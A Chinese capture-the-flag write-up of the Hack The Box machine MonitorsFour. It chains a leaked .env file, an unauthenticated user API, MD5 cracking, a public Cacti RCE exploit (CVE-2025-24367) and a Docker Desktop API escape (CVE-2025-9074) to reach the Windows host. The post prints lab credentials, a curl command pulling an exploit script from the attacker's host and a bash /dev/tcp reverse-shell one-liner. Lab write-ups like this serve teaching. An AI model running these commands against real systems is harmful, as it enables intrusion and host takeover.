news 2026/4/18 5:42:48

HTB MonitorsFour 靶机实战记录:从越权访问到容器逃逸的完整攻击链

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
HTB MonitorsFour 靶机实战记录:从越权访问到容器逃逸的完整攻击链

靶机概览

HTB MonitorsFour 是一台难度评级为 EASY 的 Windows 靶机。该靶机以企业监控环境为背景,主要攻击路径围绕 信息泄漏、服务枚举、已知漏洞利用(CVE)与容器逃逸 展开。从外部 Web 应用入手,通过配置文件泄露获取凭据,利用 Cacti 系统的高危 RCE 漏洞进入容器内部,最终借助 Docker Desktop 的容器逃逸漏洞突破边界,成功控制底层 Windows 宿主系统。整个过程清晰地展示了从外网渗透到容器逃逸的完整链条,为理解 Windows 环境下容器化服务的常见安全风险与攻击面提供了典型的实战案例。


信息收集

端口扫描

使用 Rustscan 和 Nmap 进行初步扫描:

rustscan -a 10.10.11.98 --ulimit 5000
nmap -sV -sC -p 80,5985 10.10.11.98 -Pn -v

发现服务:

  • 80/tcp - HTTP (nginx) - 重定向到 monitorsfour.htb
  • 5985/tcp - HTTP (Microsoft HTTPAPI) - WinRM 服务

子域名枚举

使用 FFuF 进行子域名枚举:

ffuf -w /usr/share/wordlists/seclists/Discovery/Web-Content/big.txt \ -H "Host: FUZZ.monitorsfour.htb" \ -u http://monitorsfour.htb \ -fs 138

发现子域名:

  • cacti.monitorsfour.htb - Cacti 监控系统

目录枚举

使用 dirsearch 发现敏感文件:

dirsearch -u http://monitorsfour.htb -e php,html,js,json,txt

关键发现:

  • /.env - 包含数据库凭据
  • /user - API 端点
  • /login - 登录页面

初始访问

数据库信息泄漏

访问http://monitorsfour.htb/.env泄露数据库配置:

DB_HOST=mariadb DB_PORT=3306 DB_NAME=monitorsfour_db DB_USER=monitorsdbuser DB_PASS=f37p2j8f4t0r

未授权信息泄露

访问http://monitorsfour.htb/api/v1/users?token=0&id=x返回用户数据,包含:

[ { "id": 2, "username": "admin", "email": "admin@monitorsfour.htb", "password": "56b32eb43e6f15395f6c46c1c9e1cd36", "role": "super user", "token": "d8a25ad7bdb87198d0", "name": "Marcus Higgins", "position": "System Administrator" } // ... 其他用户 ]


密码破解

使用 CrackStation 破解 MD5 哈希:

  • 56b32eb43e6f15395f6c46c1c9e1cd36wonderful1

访问管理面板

使用凭据admin:wonderful1成功登录


查看更新日志

访问http://monitorsfour.htb/admin/changelog

关键更新:

  • V.1.9 (June 2, 2025) - API 用户集成,支持令牌认证
  • V.1.7 (May 16, 2025) - 迁移到 Windows 和 Docker Desktop 4.44.2
  • V.1.6 (May 1, 2025) - 修复忘记密码功能的 SQL 注入漏洞

CVE-2025-24367 - Cacti RCE 漏洞

搜索发现 Cacti 1.2.28 存在 RCE 漏洞CVE-2025-24367对于漏洞利用需要已认证的Cacti用户


枚举 Cacti 用户

使用 Burp Suite 对http://cacti.monitorsfour.htb/进行爆破:

成功获取凭据:marcus:wonderful1


获取反向 Shell

使用公开的 PoC:

python3 exploit.py -u marcus -p wonderful1 -i 10.10.16.11 -l 4033 -url http://cacti.monitorsfour.htb


环境探测

检查挂载点

mount

发现是容器环境,路径中包含 desktop-containerd,这明确指向 Docker Desktop 环境,changelog说明了其版本为4.44.2。


Docker Desktop 逃逸漏洞 - CVE-2025-9074

搜索发现 Docker Desktop 4.44.2 存在容器逃逸漏洞CVE-2025-9074


访问 Docker API

curl -s http://192.168.65.7:2375/version

成功访问 Docker API,确认存在未受保护的 Docker 守护进程。


Docker 逃逸

准备 POC

攻击机开启 HTTP 服务器

python3 -m http.server 8033

容器内下载

curl http://10.10.16.11:8033/cve-2025-9074.sh -o cve-2025-9074.sh

执行容器逃逸
./cve-2025-9074.sh 192.168.65.7 "bash -c 'bash -i >& /dev/tcp/10.10.16.11/1033 0>&1'" 2375

成功获得 root shell


Flag 获取

获取 user flag

cat /host_root/run/desktop/mnt/host/c/Users/marcus/Desktop/user.txt

获取 root flag

cat /host_root/run/desktop/mnt/host/c/Users/Administrator/Desktop/root.txt

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/4/14 14:30:12

43、Linux 用户与组管理全解析

Linux 用户与组管理全解析 1. 系统登录与认证 在 Linux 系统中,要获得 BASH shell 访问权限,必须使用有效的用户名和密码登录,这个过程就是认证。系统会将用户名和密码与包含所有用户账户信息的系统数据库进行比对。 用户账户信息通常存储在两个文件中: /etc/passwd 和…

作者头像 李华
网站建设 2026/4/16 13:27:38

如何使用Pytest进行测试

开始使用 Python 进行测试可能十分困难。Python 的标准库确实提供了一些用于编写测试的实用程序和帮助程序,但也有一些缺点可能会导致编写比较困难。 Pytest 是最常用的 Python 测试工具和框架之一。尽管 Pytest 可以帮助实现高度复杂的测试方案,但在创…

作者头像 李华
网站建设 2026/4/18 5:24:17

64、Linux系统操作与配置全解析

Linux系统操作与配置全解析 一、Linux系统基础操作命令解析 在Linux系统中,有许多基础操作命令,理解它们的功能和使用方法对于系统的使用和管理至关重要。 - which命令 :which程序的作用与bash搜索路径的方式相同,它会打印出在路径中找到的第一个可执行程序的路径。例…

作者头像 李华
网站建设 2026/4/15 13:38:41

【开题答辩全过程】以 基于Java的人才招聘网站的设计与实现为例,包含答辩的问题和答案

个人简介一名14年经验的资深毕设内行人,语言擅长Java、php、微信小程序、Python、Golang、安卓Android等开发项目包括大数据、深度学习、网站、小程序、安卓、算法。平常会做一些项目定制化开发、代码讲解、答辩教学、文档编写、也懂一些降重方面的技巧。感谢大家的…

作者头像 李华
网站建设 2026/4/17 15:26:05

MindSpore 进阶实战:详解自动混合精度 (AMP) 与梯度累积

在深度学习大模型时代,无论是 CV 还是 NLP 任务,参数量和数据集的规模都在飞速增长。在昇腾 NPU 上进行训练时,开发者常面临两个核心痛点:显存不够用:Batch Size 开不大,导致模型收敛慢或无法运行。训练速度…

作者头像 李华
网站建设 2026/4/16 21:59:53

Uniapp——史上最完整Android离线多渠道打包教程

Android离线多渠道打包教程 前言一、原生build.gradle文件配置?二、模块AndroidManifest.xml三、uniapp代码使用教程四、打包处理总结 前言 Android 需要多渠道打包的主要原因是 支持不同的设备、市场和用户需求。通过多渠道打包,可以将一个应用根据不同…

作者头像 李华